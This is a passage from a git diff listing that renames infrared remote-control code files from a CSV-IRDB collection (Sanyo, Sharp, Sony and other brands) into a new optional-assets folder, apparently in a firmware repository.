(100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir (100%) rename assets/{resources/infrared => 